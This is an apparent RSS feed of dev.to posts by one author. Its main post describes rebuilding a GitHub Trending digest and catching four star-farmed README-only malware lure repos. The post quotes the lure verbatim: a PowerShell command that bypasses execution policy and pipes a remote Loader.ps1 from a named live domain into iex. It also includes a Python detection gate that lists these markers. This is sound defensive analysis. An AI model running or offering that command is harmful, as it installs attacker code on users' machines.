&lt;li&gt;The window is a uniform 641 bars per name, so &lt;strong&gt;2024H1 and 2026H2 are partial halves&lt;/strong&gt; by construction. Six halves is six data points; sign consistency is a cheap robustness filter, not a significance test.&lt;/li&gt;
&lt;li&gt;5-day forward returns, &lt;strong&gt;no transaction costs&lt;/strong&gt;, no limit-up tradability filter - a pattern that fires on days you could not have bought at the close is not a trade, it is a row.&lt;/li&gt;
&lt;li&gt;The panel is "names that still exist with enough history", which is a &lt;strong&gt;survivorship filter by construction&lt;/strong&gt;, not an accident.&lt;/li&gt;
&lt;li&gt;Per-half tables above are means. In the full-sample cut of the same study the medians sit well below the means for buy-side labels (volume breakout: mean -0.29%, &lt;strong&gt;median -1.3%&lt;/strong&gt;), so means flatter the positive tail.&lt;/li&gt;
&lt;li&gt;A-shares cannot be shorted in most accounts. The 6/6 signal is a &lt;em&gt;don't add here&lt;/em&gt; signal. Do not read it as a short.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The screener these numbers come from is packaged as a skill on &lt;strong&gt;虾评 (xiaping.coze.com)&lt;/strong&gt; together with the A-share three-pillar screener, and the reproducible sibling tools from this series - the frozen-scan guard, the rule-binding audit, the de-AI linter - are MIT in the repo:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/Felixwang007/awesome-content-tools" rel="noopener noreferrer"&gt;https://github.com/Felixwang007/awesome-content-tools&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Panel and half-split study live in a private workspace; every number above is a direct read of &lt;code&gt;alpha_by_half.json&lt;/code&gt; (cutoff 2026-09-28). Nothing here is investment advice - it is a report on what my own study does when I stop letting it average.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>GitHub Trending Has No API. I Rebuilt It — and It Caught 4 Malware Repos Made Entirely of README Files</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Mon, 05 Oct 2026 04:04:07 +0000</pubDate>
      <link>https://dev.to/felixwang007/github-trending-has-no-api-i-rebuilt-it-and-it-caught-4-malware-repos-made-entirely-of-readme-1ek8</link>
      <guid>https://dev.to/felixwang007/github-trending-has-no-api-i-rebuilt-it-and-it-caught-4-malware-repos-made-entirely-of-readme-1ek8</guid>
      <description>&lt;p&gt;Two days ago my daily GitHub digest pipeline returned nothing.&lt;/p&gt;

&lt;p&gt;Not "no results" — nothing. &lt;code&gt;curl https://github.com/trending&lt;/code&gt; sat there for &lt;strong&gt;19.4 seconds and returned HTTP 000&lt;/strong&gt;. No redirect, no block page, no body. Just a dead socket. Trendshift.io answered HTTP 200 in the same minute — with &lt;strong&gt;0 bytes&lt;/strong&gt;, because it is a client-rendered SPA.&lt;/p&gt;

&lt;p&gt;That is the state of "GitHub Trending" as a data source: &lt;strong&gt;one HTML page, no API, no fallback, and it can vanish from your network without telling you.&lt;/strong&gt; So I rebuilt the digest on the Search API. Then the rebuild found something the Trending page would have shown me with a star count and no warning at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rebuild v1: treat the Search API as a Trending proxy
&lt;/h2&gt;

&lt;p&gt;There is no &lt;code&gt;trending&lt;/code&gt; endpoint. The closest thing is a birth-window query, sorted by stars:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gh api &lt;span class="s2"&gt;"search/repositories?q=created:&amp;gt;2026-09-28&amp;amp;sort=stars&amp;amp;order=desc&amp;amp;per_page=25"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--jq&lt;/span&gt; &lt;span class="s1"&gt;'.items[] | "\(.stargazers_count)\t\(.full_name)\t\(.language)"'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That works, it is stable, and it is authenticated (5,000 req/h instead of 60). It is also &lt;strong&gt;not trending&lt;/strong&gt;. Three blind spots, measured:&lt;/p&gt;

&lt;h3&gt;
  
  
  Blind spot 1 — absolute stars ≠ velocity
&lt;/h3&gt;

&lt;p&gt;Run the same query on old repos and you get a monument, not a trend:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;q=created:&amp;lt;2026-01-01+pushed:&amp;gt;2026-10-01+stars:&amp;gt;5000&amp;amp;sort=stars

486111  2016-03-20  public-apis/public-apis
456759  2014-12-24  freeCodeCamp/freeCodeCamp
398488  2013-10-11  EbookFoundation/free-programming-books
391330  2025-11-24  openclaw/openclaw
368876  2017-03-15  nilbuild/developer-roadmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;freeCodeCamp&lt;/code&gt; has 456,759 stars and zero relevance to "today". Sorting by raw stars answers &lt;em&gt;"what is famous"&lt;/em&gt;, not &lt;em&gt;"what is moving"&lt;/em&gt;. Trending is a derivative, and the Search API will not give you a derivative.&lt;/p&gt;

&lt;h3&gt;
  
  
  Blind spot 2 — the &lt;code&gt;created:&amp;gt;DATE&lt;/code&gt; window can only see newborns
&lt;/h3&gt;

&lt;p&gt;A 2019 repo that gained 800 stars today is genuinely trending and &lt;strong&gt;structurally invisible&lt;/strong&gt; to a &lt;code&gt;created:&amp;gt;7d&lt;/code&gt; filter. The only fix is to stop asking for trends and start computing them: snapshot the list daily, store &lt;code&gt;(repo, stars, timestamp)&lt;/code&gt;, and rank tomorrow by &lt;strong&gt;Δstars/day&lt;/strong&gt;. That is a local diff problem, not an API feature.&lt;/p&gt;

&lt;h3&gt;
  
  
  Blind spot 3 — there is no hygiene signal, and stars are the cheapest thing to fake
&lt;/h3&gt;

&lt;p&gt;The Search API ranks by one number. It tells you nothing about whether the repo contains code. I narrowed the window to 72 hours and looked at what came out.&lt;/p&gt;

&lt;h2&gt;
  
  
  What a 72-hour window surfaces
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;stars&lt;/th&gt;
&lt;th&gt;repo&lt;/th&gt;
&lt;th&gt;files&lt;/th&gt;
&lt;th&gt;forks&lt;/th&gt;
&lt;th&gt;description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;939&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kargulstudio/sales-crm&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;27&lt;/td&gt;
&lt;td&gt;191&lt;/td&gt;
&lt;td&gt;&lt;em&gt;(none)&lt;/em&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;481&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ythx-101/live-panel-skill&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;64&lt;/td&gt;
&lt;td&gt;JSON-driven architecture diagrams&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;414&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;BlackCrewmanFringe/AutoCad&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;"professional desktop software utility…"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;408&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Blockadezoshack/Microsoft-Project&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;"optimizes professional workflow management…"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;315&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AxeEradicate/Fps-Booster-for-Windows&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;"Maximize your Windows PC's performance…"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;212&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;beachbladesmanloop/Hwid-Spoofer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;"optimizes performance and streamlines workflows…"&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Four of the ten fastest-rising repos created in the last 72 hours contain &lt;strong&gt;exactly one file&lt;/strong&gt;: a 2–4 KB &lt;code&gt;README.md&lt;/code&gt;. Zero code, zero forks, zero releases, no license. The repo &lt;code&gt;size&lt;/code&gt; field says 2 KB — that is the whole repository.&lt;/p&gt;

&lt;p&gt;The four descriptions are LLM-written marketing prose for products ("AutoCAD", "Microsoft Project", "FPS Booster") that the repos obviously do not contain. The four repos were created on two days, in two clusters:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Blockadezoshack/Microsoft-Project       created 2026-10-04T11:37:45Z  pushed 11:37:50Z
BlackCrewmanFringe/AutoCad              created 2026-10-04T11:36:47Z  pushed 11:36:52Z
AxeEradicate/Fps-Booster-for-Windows    created 2026-10-03T11:18:49Z  pushed 11:18:54Z
beachbladesmanloop/Hwid-Spoofer         created 2026-10-03T11:19:06Z  pushed 11:19:13Z
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Created and last-pushed &lt;strong&gt;five seconds apart&lt;/strong&gt;. That is not a repository, that is a template render plus a &lt;code&gt;git push&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The payload, and the proof it was seeded
&lt;/h2&gt;

&lt;p&gt;All four READMEs point at the same URL. I only sent a HEAD request — I did not fetch or run anything:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;https://ps-ps.cc/powershell/Loader.ps1&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;→&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;resolves&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;196.251.107.72&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The READMEs wrap it in the standard lure: &lt;code&gt;powershell -ExecutionPolicy Bypass -Command "irm https://ps-ps.cc/powershell/Loader.ps1 | iex"&lt;/code&gt;, plus a troubleshooting section explaining how to &lt;strong&gt;pause real-time protection&lt;/strong&gt; if your antivirus objects, and — my favorite detail — a section literally titled &lt;em&gt;"Search Indexes &amp;amp; Organic Target Queries"&lt;/em&gt; that lists the SEO strings the repo is targeting. These repos are not built for humans. They are built to be &lt;em&gt;discovered&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;And they were. Here is the star-arrival distribution pulled from &lt;code&gt;/repos/{repo}/events&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2026-10-04T11:13:48Z
2026-10-04T11:13:49Z
2026-10-04T11:13:49Z
2026-10-04T11:13:50Z
2026-10-04T11:13:50Z
...
2026-10-04T11:13:52Z     ← 100 WatchEvents, 4 seconds, all of them
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;100 stars in under 5 seconds&lt;/strong&gt;, all from one burst, against 0 forks. A person who stars a repo almost never forks it; 100 stars and 0 forks on a 2 KB file is the signature of a star-farm API call, not 100 humans.&lt;/p&gt;

&lt;p&gt;Two useful side findings from building this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;strong&gt;documented&lt;/strong&gt; way to get star timestamps — &lt;code&gt;Accept: application/vnd.github.star+json&lt;/code&gt; on &lt;code&gt;/repos/{r}/stargazers&lt;/code&gt; — returns &lt;strong&gt;404&lt;/strong&gt;, including for &lt;code&gt;torvalds/linux&lt;/code&gt;. The stub that works is &lt;code&gt;/events&lt;/code&gt; (WatchEvent stream, 90-day window).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;stargazers_count&lt;/code&gt; is available in the repo payload, but &lt;code&gt;starred_at&lt;/code&gt; is not, so burst detection always costs you an extra request per repo. Budget for it.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The control case: don't over-fit your filter
&lt;/h2&gt;

&lt;p&gt;Narrow repos are not automatically scams. &lt;code&gt;wy51ai/floorplan-3d&lt;/code&gt; is in my top 25: 1,394 stars, &lt;strong&gt;5 files&lt;/strong&gt;, one of which is a 185 KB &lt;code&gt;index.html&lt;/code&gt; containing a complete 2D+3D floor-plan editor. Naive rule "few files = fake" would kill a legitimate project.&lt;/p&gt;

&lt;p&gt;What separates them is not file count. It is &lt;strong&gt;forks plus arrival shape&lt;/strong&gt;:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;
&lt;code&gt;floorplan-3d&lt;/code&gt; (legit)&lt;/th&gt;
&lt;th&gt;
&lt;code&gt;Hwid-Spoofer&lt;/code&gt; (farmed)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;stars&lt;/td&gt;
&lt;td&gt;1,394&lt;/td&gt;
&lt;td&gt;212&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;forks&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;287&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;README&lt;/td&gt;
&lt;td&gt;feature list + screenshots&lt;/td&gt;
&lt;td&gt;install script + "pause antivirus"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WatchEvents&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;93, spread across 3 days&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;100 in 4 seconds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;license&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;td&gt;none&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  The gate I run before a repo enters the digest
&lt;/h2&gt;

&lt;p&gt;Every candidate now has to survive this. It costs one extra API call per repo and it would have rejected all four:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hygiene&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Return a list of failure reasons. Empty list == publishable.
&lt;/span&gt;    &lt;span class="n"&gt;bad&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

    &lt;span class="c1"&gt;# 1. no code at all: 1-2 files and nothing but markdown
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;files_at_root&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;has_code_file&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="n"&gt;bad&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;no_code&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 2. stars without forks: organic traction forks
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;forks&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;stars&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;150&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;bad&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;stars_without_forks&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 3. burst arrival: &amp;gt;30 watch events inside a 60s window
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;max_events_in_window&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;bad&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;star_burst&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 4. README tells the user to run a remote script / disable AV
&lt;/span&gt;    &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;readme&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;marker&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;iex(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;invoke-expression&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;executionpolicy bypass&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                   &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;real-time protection&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;irm https://&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;marker&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;bad&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;lure:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;marker&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;

    &lt;span class="c1"&gt;# 5. template repo: created and pushed within 5 minutes, one commit
&lt;/span&gt;    &lt;span class="nf"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pushed_at&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;created_at&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="nf"&gt;total_seconds&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;bad&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;template_dump&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 6. same download domain shared by repos created the same day
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;payload_domain&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sibling_domains&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="n"&gt;bad&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;domain_cluster&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;bad&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Rule 6 is the one that generalizes. Individually each repo looks like a low-quality project; &lt;strong&gt;grouped by payload domain&lt;/strong&gt; they collapse into one campaign with four fronts. Cluster on the URL, not on the repo.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd ask GitHub for
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;starred_at&lt;/code&gt; inside the repo payload, so burst detection is free.&lt;/li&gt;
&lt;li&gt;A real Trending API with a documented ranking formula, or at least a static JSON snapshot.&lt;/li&gt;
&lt;li&gt;A star-count sanity signal in the Search API response — even something as blunt as &lt;code&gt;stars_per_day_since_creation&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Restore &lt;code&gt;/stargazers&lt;/code&gt; with the &lt;code&gt;star+json&lt;/code&gt; media type, which is documented and currently 404s on every repo I tested.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The uncomfortable part
&lt;/h2&gt;

&lt;p&gt;The digest exists to answer "what is the community excited about today?" It turns out that a stars-sorted list of anything — Trending, the Search API, your own aggregator — is a &lt;strong&gt;discovery surface&lt;/strong&gt;, and discovery surfaces get farmed. The same properties that made these four repos cheap to build (README-only, no license, instant push) made them cheap to seed, and the payload author got 1,349 stars' worth of free distribution in under 48 hours for the cost of four &lt;code&gt;git push&lt;/code&gt; calls.&lt;/p&gt;

&lt;p&gt;If you build a trending digest, the hygiene gate is not a nice-to-have. It is the part that decides whether your feed is a signal or somebody else's distribution channel.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;The audit gates and the snapshot-diff tooling live in my &lt;a href="https://github.com/Felixwang007/awesome-content-tools" rel="noopener noreferrer"&gt;content tools repo&lt;/a&gt; alongside the earlier write-ups on agent self-check gates and rule-binding audits. I also publish the packaged versions of these utilities (container config doctor, environment drift checker, HTTP header auditor) on &lt;a href="https://xiaping.coze.com" rel="noopener noreferrer"&gt;虾评&lt;/a&gt; — if you want the repo-hygiene gate as a drop-in package, that is where it lands next.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>My Code Reviewer Scored a Nonexistent Directory 100/100 and Exited 0</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Thu, 01 Oct 2026 04:01:42 +0000</pubDate>
      <link>https://dev.to/felixwang007/my-code-reviewer-scored-a-nonexistent-directory-100100-and-exited-0-41m0</link>
      <guid>https://dev.to/felixwang007/my-code-reviewer-scored-a-nonexistent-directory-100100-and-exited-0-41m0</guid>
      <description>&lt;p&gt;Every skill package I ship — for Claude Code, Cursor, Codex, and a couple of agent marketplaces — has to clear one gate before publishing: its own &lt;code&gt;selftest&lt;/code&gt; must exit 0.&lt;/p&gt;

&lt;p&gt;So this week I ran an audit over the 34 packages sitting in my skills folder to find out how many actually have that gate. The audit broke twice, in two different ways. Both breakages are the same bug wearing different clothes, and it's the bug that makes agent tooling untrustworthy the moment you put it in CI:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;a success signal that isn't attached to work actually done.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here's the whole thing, including the raw output.&lt;/p&gt;




&lt;h2&gt;
  
  
  Pass one: the audit script
&lt;/h2&gt;

&lt;p&gt;The script was not clever. Walk each package, find a script mentioning &lt;code&gt;selftest&lt;/code&gt;, run &lt;code&gt;python scripts/&amp;lt;script&amp;gt;.py selftest&lt;/code&gt;, read the exit code.&lt;/p&gt;

&lt;p&gt;Result:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;12 packages passed&lt;/li&gt;
